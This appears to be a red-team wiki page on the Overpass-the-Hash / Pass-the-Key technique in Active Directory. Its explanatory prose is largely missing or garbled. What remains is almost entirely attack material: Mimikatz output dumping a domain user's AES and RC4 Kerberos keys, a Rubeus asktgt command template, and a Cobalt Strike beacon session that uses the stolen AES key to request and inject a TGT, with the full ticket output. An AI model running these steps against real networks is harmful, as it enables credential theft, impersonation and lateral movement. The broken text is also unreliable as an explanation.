

Overpass The Hash / Pass The Key

Overpass The Hash **Pass The Key** PTH NTLM Kerberos **NTLM** **AES** **PTGT**

AES **sekuia::ekeys** AES

```
Authentication Id : 0 ; 237981 (00000000:0003a19d)
Session           : Interactive from 1
User Name         : serveradm
Domain            : WHITE-BIRD
Logon Server      : DC05
Logon Time        : 5/8/2023 1:29:58 PM
SID               : S-1-5-21-2387957962-993181570-3566323574-1604

* Username : serveradm
* Domain   : WHITE-BIRD.LOCAL
* Password : (null)
* Key List :
  aes256_hmac      de2e85f3417ca506e131218bbdc659beab073e00e534c032157016bd4b2e0f92
  rc4_hmac_nt      72f0eefcc213ea8f350773b831cf2c9c
  rc4_hmac_old     72f0eefcc213ea8f350773b831cf2c9c
  rc4_md4          72f0eefcc213ea8f350773b831cf2c9c
  rc4_hmac_nt_exp  72f0eefcc213ea8f350773b831cf2c9c
  rc4_hmac_old_exp 72f0eefcc213ea8f350773b831cf2c9c
```

TGT Rubeus

```
Rubeus.exe asktgt /user:< > /domain:< fqdn> /aes256:<aes > /nowrap
```

```
beacon> execute-assembly /opt/red/rubeus.exe asktgt /user:serveradm /domain:white-bird.local /aes256:de2e85f3417ca506e131218bbdc659beab073e00e534c032157016bd4b2e0f92 /ptt /nowrap
[*] Tasked beacon to run .NET program: rubeus.exe asktgt /user:serveradm /domain:white-bird.local /aes256:de2e85f3417ca506e131218bbdc659beab073e00e534c032157016bd4b2e0f92 /ptt /nowrap
[+] host called home, sent: 551733 bytes
[+] received output:

  S Y N T H E S I S
  R U B E U S

v2.2.0

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: de2e85f3417ca506e131218bbdc659beab073e00e534c032157016bd4b2e0f92
[*] Building AS-REQ (w/ preauth) for: 'white-bird.local\serveradm'
[*] Using domain controller: 172.16.1.51:88
[+] TGT request successful!

[+] received output:
[*] base64(ticket,kirbi):

doIFRDCCBUCgAwIBBaEDAgEwOIEPDCCBdhggQMIIEMKADAgEFoRIBEFdISVRFLUJJUKQuTE9DQUY1JTAJcAMCAQKhHDAaGwZrcmJ0Z3Q0bEhdoaxRLLWJpcmQubG9jYVYyJgggPSMIIID6KADAgESoQMAQKIggPaBIIID1sWHcGcRg6s7oQkBNFJ7Ffyjp
[+] Ticket successfully imported!

ServiceName      : krbtgt/white-bird.local
ServiceRealm     : WHITE-BIRD.LOCAL
UserName         : serveradm
UserRealm        : WHITE-BIRD.LOCAL
StartTime        : 5/17/2023 12:26:48 PM
EndTime          : 5/17/2023 10:26:48 PM
RenewUntil       : 5/24/2023 12:26:48 PM
Flags            : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType          : aes256_cts_hmac_sha1
Base64(key)      : 7F+HqsPwMeIqJ0tbExgg5PqHsgvYq9P8VNUqVf7e0mw=
ASREP (key)      : DE2E85F3417CA506E131218BBDC659BEAB073E00E534C032157016BD4B2E0F92
```

Revision #7
Created 5 September 2022 03:08:00 by
Updated 28 December 2023 01:31:36 by